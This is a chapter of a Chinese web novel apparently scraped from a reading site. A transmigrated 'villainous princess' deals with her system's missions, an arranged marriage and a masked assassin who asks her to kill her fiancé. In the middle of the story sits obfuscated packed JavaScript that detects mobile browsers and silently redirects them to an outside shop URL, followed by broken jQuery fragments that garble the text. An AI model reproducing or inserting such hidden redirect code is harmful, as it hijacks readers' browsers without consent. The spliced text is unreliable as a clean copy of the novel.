因为那一场闹剧,苏蓉蓉成功把自己作得禁足了。
现在她终于理解了作精的烦人之处了,就一个字——蠢。
苏蓉蓉有些心累,每天吃了睡睡了吃,当了那么久的牛马,终于体验了一把这种衣食无忧的日子,可却觉得很是无聊。
她挥挥手叫来上次那个小姑娘香兰,问道:“我可不可以在自己这院儿里转转?”
哪知这香兰又扑通一声跪下了,哭道:“公主绕了奴吧,您要出去,自是可以出去,奴万万不敢阻拦。”
啧。这什么人缘啊。
苏蓉蓉头疼地叫这小姑娘退下了,自己穿着一身中衣就大大咧咧出了门。
仁乐公主所居的洗梧宫挺大,院里花花草草各式各样的,中间还空了好大一块地方,估摸着有一小篮球场那么大了。
转头一看,院墙边还有一棵巨大的榕树,树上栖居着几只鸟雀,叽叽喳喳叫着。
深呼吸一口新鲜空气,她不禁想:这要是安安静静来当个公主,日子别想能有多舒坦了。
系统煞风景道:“那你也得做任务。”
苏蓉蓉无语道:“知道了知道了,你也太烦人了。”
她正看鸟雀嬉闹呢,便听得殿外传来太监的通传声:
“皇后娘娘到——”
苏蓉蓉暗道这皇后太闲,又低头一看自己。
得,一身中衣在外面乱晃,成何体统?
肯定要挨罚了。
跑是跑不了了,苏蓉蓉有些绝望地闭上眼,转身行礼:“儿臣参见母后。”
哪料皇后却没怪她,只是皱眉道:“穿成这样出来,着凉了怎么办?还不回去换身衣裳?”
苏蓉蓉受宠若惊,不禁抬头傻盯着人,反应了一会连忙谢过皇后,一溜烟跑去换了衣服。
皇后娘娘在前厅上首坐着,苏蓉蓉就坐在下面离她最近的位置。
两厢对视下,皇后娘娘看着苏蓉蓉点了点头。
苏蓉蓉满脑子问号,也跟着点了点头。
随后皇后娘娘少见地低头笑了一下,放下了手里的茶盏,道:“仁乐,本宫前日已与你父皇商讨好了你和南风墨的婚事,就定在下月初八,你万不可再胡闹了。”
whatfuck?
苏蓉蓉如遭雷击,简直要当场石化。
她抿着嘴,一副欣慰感激兴奋的样子笑着,心里却只觉悲凄。
不禁想:这会不会有点太快了?
系统又冒出来:“任务任务。”
“滚!”苏蓉蓉暗骂。
皇后见她迟迟不说话,又问道:“怎么了,仁乐?”
为了不ooc,苏蓉蓉努力装出一副高兴坏了的样子,道:“儿臣多谢母后。”
之后皇后又与苏蓉蓉闲聊了几句家常,苏蓉蓉有一搭没一搭听着,皇后就当她是高兴坏了,又嘱咐了几句就走了。
苏蓉蓉有些生无可恋地在原地愣了好一会,在脑海里问系统:“这都这么作了,还能结婚呐?”
系统道:“剧情需要。”
就没见过这么癫的剧情,苏蓉蓉心道。
没过几日,苏蓉蓉的禁足就解了,她四处溜达,也遇见了不少宫里的妃子,因着她要成亲了,皇帝给她另立了公主府,她不日就要搬出去了。
宫里那些宫妃见了她都一副舍不得的要哭的表情,看得苏蓉蓉以为自己要死了呢,干脆懒得出门了,就等着过几日建府了好去宫外玩玩。
结果当晚苏蓉蓉睡得正香呢,忽觉脖子一凉,一柄刀抵在自己脖子上,一个身穿夜行衣蒙着面的人压着声音威胁她:“想活命就老实点。”
苏蓉蓉乖巧眨了眨眼,其实灵魂已经死一会儿了。
毕竟谁家好人睡个觉还赠送刺客大礼包呢?
殿外依稀传来士兵的声音:“走,去那边看看。”
苏蓉蓉确认了,这不是梦,这踏马真不是梦。
带着喑紫色面具的人只露出了一双眼睛,那双眼睛十分好看,眉眼柔和,能看出对方是个女子,睫毛如同鸦羽一般,让人看不清她眼底的情绪。
“你,往里点。”黑衣人命令道。
苏蓉蓉听话往里挪了挪,但碍于刀架颈侧,始终不敢大动。
黑衣人嫌她墨迹收了刀,往里一翻,用被子把自己一整个的盖住了。
她翻过去那一刻,苏蓉蓉闻到一股熟悉的香味,但又有些想不清在哪里闻到的了,没来得及细想呢,刀又回到了她的颈侧。
黑衣人低声威胁:“老实点,别露馅。”
苏蓉蓉“嗯”了一声,浑身绷得很紧,怕的心脏都快要跳进嗓子眼里。
随后门外响起了叩门声,士兵道:“公主殿下,叨扰了,您有看到可疑人员吗?”
刀稍稍移开一点,方便苏蓉蓉回话。
苏蓉蓉咽了口唾沫,在告发与不告发之间犹豫几秒后回道:“没,没有。”
似乎听出她的迟疑,士兵没走,又道:“今夜宫里进了刺客,为了公主殿下的安全,臣请进屋搜查。”
一只微凉的手滑过腰际,引起一阵瑟缩。
黑衣人一路找到了苏蓉蓉早已冰凉的手,在手心上写了个“不”字。
手指一次次滑过手心,有些痒。
心脏不知为何又有些乱了,苏蓉蓉脑袋乱得像浆糊,勉强集中注意道:“说了没有,你是听不懂本宫说什么吗!你若敢闯进本宫闺房,不怕本宫找父皇定你个大逆不道之罪?”
耳边似乎传来一声轻笑,很轻很快,让苏蓉蓉几乎以为是自己的错觉。
门外的士兵听后似乎有些犹豫,但还是很快退下了,苏蓉蓉终于松了口气。
回神时,苏蓉蓉才发觉黑衣人的手始终搭在她手上。
她们手心相贴,心脏共振,让人不由得觉得像是在牵手。
不待苏蓉蓉多想,黑衣人便收了刀,留了一句“谢了。”飞快地从窗户走了。
“还怪有礼貌的。”苏蓉蓉小声自言自语。
苏蓉蓉经历了这心惊一幕,睡是肯定睡不着了,只在心里祈祷快些搬离皇宫,省得自己哪天睡着睡着一命呜呼了自己都不知道。
哪料她这边刚刚经历了刺客夜袭,隔日南风墨就闹到了宫里,在宫门外长跪不起,肯请陛下收回成命。
可苏蓉蓉料想他也很难成功,毕竟古代皇帝那是何其威严何其专制?要是一道圣旨下令了又因为他一个小小世子就收回成命,那皇威何在?
不过苏蓉蓉还是十分善良地帮他问了一下系统:“他能成功吗?”
系统:“不能。”
“……”
“他还非娶我不可了?”苏蓉蓉蔫头耷脑道。
“是你非要嫁他。”
苏蓉蓉一听不乐意了:“怎么还成我非要嫁他了,明明……”
话音未落,就看见一个穿着明黄色衣服的中年男人走了进来。
那人哼了一声,道:“还说不是你非要嫁?你母后请命都请到朕这儿了。”
这下苏蓉蓉成功确认该男子身份——皇帝,也就是她爹。
“你母后这些年可从没求过朕什么事。”皇帝走上前,刮了刮苏蓉蓉的鼻子,“你这丫头,面子倒是大。”
苏蓉蓉尴尬笑笑,这也毕竟不是她亲爹嘛,而且她也没有爹,原来父女相处是这样的吗?
苏蓉蓉尴尬的看了看皇帝旁边,结果皇帝会错了意,以为她好奇怎么没人通报,便道:“朕乃一国之君,若是整日为你们这些孩子的婚事操心,传出去那成何体统。”
懂,翻译过来就是偷偷来的。
苏蓉蓉看出来了,这皇帝就是个话唠,自己能唠一下午的那种。
皇帝比想象中好相处太多,苏蓉蓉嗯嗯啊啊随口敷衍,他都能说上好半天。
那边太阳都要准备下班了,这皇帝可算走了,临走前却还不忘嘱咐苏蓉蓉:“万不可再胡闹了。”
苏蓉蓉:“……”
建立了一个不靠谱的人设。
他走后,苏蓉蓉突然想起了昨晚的事,后知后觉问系统:“我这个角色会死吗?”
空气安静了一小会,系统道:“不用担心,你不会感觉到死亡的痛感,那种感觉大概就像是睡了一觉,醒来你就在下一个世界了。”
“……”
明白,就是会死的意思。
系统:“想想手术费,想想你的幸福生活。”
“……”
果然,到天黑了,那个南风墨就离开了,想来也没有什么诚意。
苏蓉蓉叹了叹,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17839541|211588||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忽然有点心疼女主,但想想,自己也挺可怜的,同是天涯沦落人吧。
昨日遇了刺客,苏蓉蓉烛火也不敢全都灭了,留了靠近床榻的两个,虽然刺客来了也不顶事,但图个心安嘛。
紧绷了一天的神经终于能放松下来,苏蓉蓉很快就昏昏欲睡了。
迷迷糊糊间她做了个奇怪的梦,梦里自己躺在病床上,耳边是医生沉稳冷静的声音和机器运作的声音。
而自己如同待宰的牛羊,动不了也说不了话,感受着身体被解剖的感觉。
这无疑是个噩梦,苏蓉蓉很快被吓醒了。
醒来一睁眼,又是昨天那个黑衣人,一柄刀并不友好地抵在自己脖子上。
“一定是我还没醒呢。”苏蓉蓉安慰自己,又闭上了眼睛。
安静的屋内传来一声轻笑,苏蓉蓉视死如归般睁眼,欲哭无泪:“您这又是揍嘛呀?”
烛火幽幽,映在黑衣人的眼睛里,苏蓉蓉终于看清了这人的眼睛。
嗯……她有一双很美的眼睛。但——如此歹毒的心肠!如此鲁莽的行为!
“帮我个忙?”黑衣人笑盈盈看着她,让她恍惚有一种被撒娇了的错觉。
你个死颜狗!这时候了都在想这个。苏蓉蓉暗骂自己,连忙清醒过来。
她手指抵在刀上,缓缓推开,赔笑道:“好说好说,您先把刀拿走。”
黑衣人收了刀,苏蓉蓉可算是松了一口气,连忙起身缩在了床角,和此危险分子隔开了一段安全距离。
黑衣人妄图上前,苏蓉蓉一掌隔开,示意她离自己远点。
黑衣人只好摊了摊手,示意随你。
“今天不当刺客了?”她没好气道。
黑衣人似乎是被她逗笑了,又亮出了刀,依旧笑盈盈地道:“你希望?”
苏蓉蓉咽了口唾沫摇了摇头,道:“什么忙?”
黑衣人收了刀,坐到了她床边,语气冷了下来:“我要你帮我杀了南风墨。”
“我?”苏蓉蓉指了指自己,好像听到了什么可笑至极的事情,“你凭什么认为我能杀了他?”
黑衣人没看她,低头擦了擦刀刃:“你是他即将过门的妻子,枕边人才是最危险的。”
“……”
苏蓉蓉一时想不出反驳的话了,安静了半晌,觉得她说得好像真的很有道理。
不对不对,苏蓉蓉想到,自己可是恶毒女配啊,况且那南风墨爱的也不是自己,自己也没有睡男人的想法,要她为艺术献身?万万不可。
一直装死的系统终于是说话了:“新的任务:为男女主制造较为激烈的矛盾点。”
矛盾点?
黑衣人见她久不答话,以为她是默认了,问道:“答应了?”
苏蓉蓉灵活的脑筋一转,嘴比脑子还快,道:“不不不,我知道一个更合适的人选。”
黑衣人来了兴趣,手上擦刀的动作停下来了,一副洗耳恭听的样子。
苏蓉蓉忙道:“池瑾瑶!”
见黑衣人不说话,苏蓉蓉继续道:“你可能不认识她,不过没关系,她呢,是个医女,也是南风墨的心上人,你找她,肯定能行。”
见黑衣人皱眉,苏蓉蓉连忙补充道:“对了,南风墨是单相思,人家池姑娘根本看不上她,所以我觉得你撺掇她成功的可能性更大。”
随后指着自己摇摇头道:“我,不靠谱。”
黑衣人又笑了,只不过这次笑得好似更开朗了些。
苏蓉蓉有些怀疑地挑眉,这届刺客这么爱笑吗?
“你怎么知道南风墨是单相思。”黑衣人问。
“我……我看到了啊,人家池姑娘连手都不让他牵,明显是……是嫌弃!”
黑衣人点点头,很快又抬杠:“万一是害羞了呢?”
笑死,哪有人害羞那样的啊。
苏蓉蓉摆摆手:“你也甭跟我犟了,我给你指条明路,找她,方便快捷成功率还高,找我你就是等到八十岁老掉牙了,没准那南风墨还好好活着呢。”
黑衣人挑眉点点头,沉默良久后,她似是放弃了,道:“行,那我找她去,再会。”说着又从窗户走了。
苏蓉蓉微笑着对她的背影招手,从牙缝里挤出:“再会什么再会?再也不会!”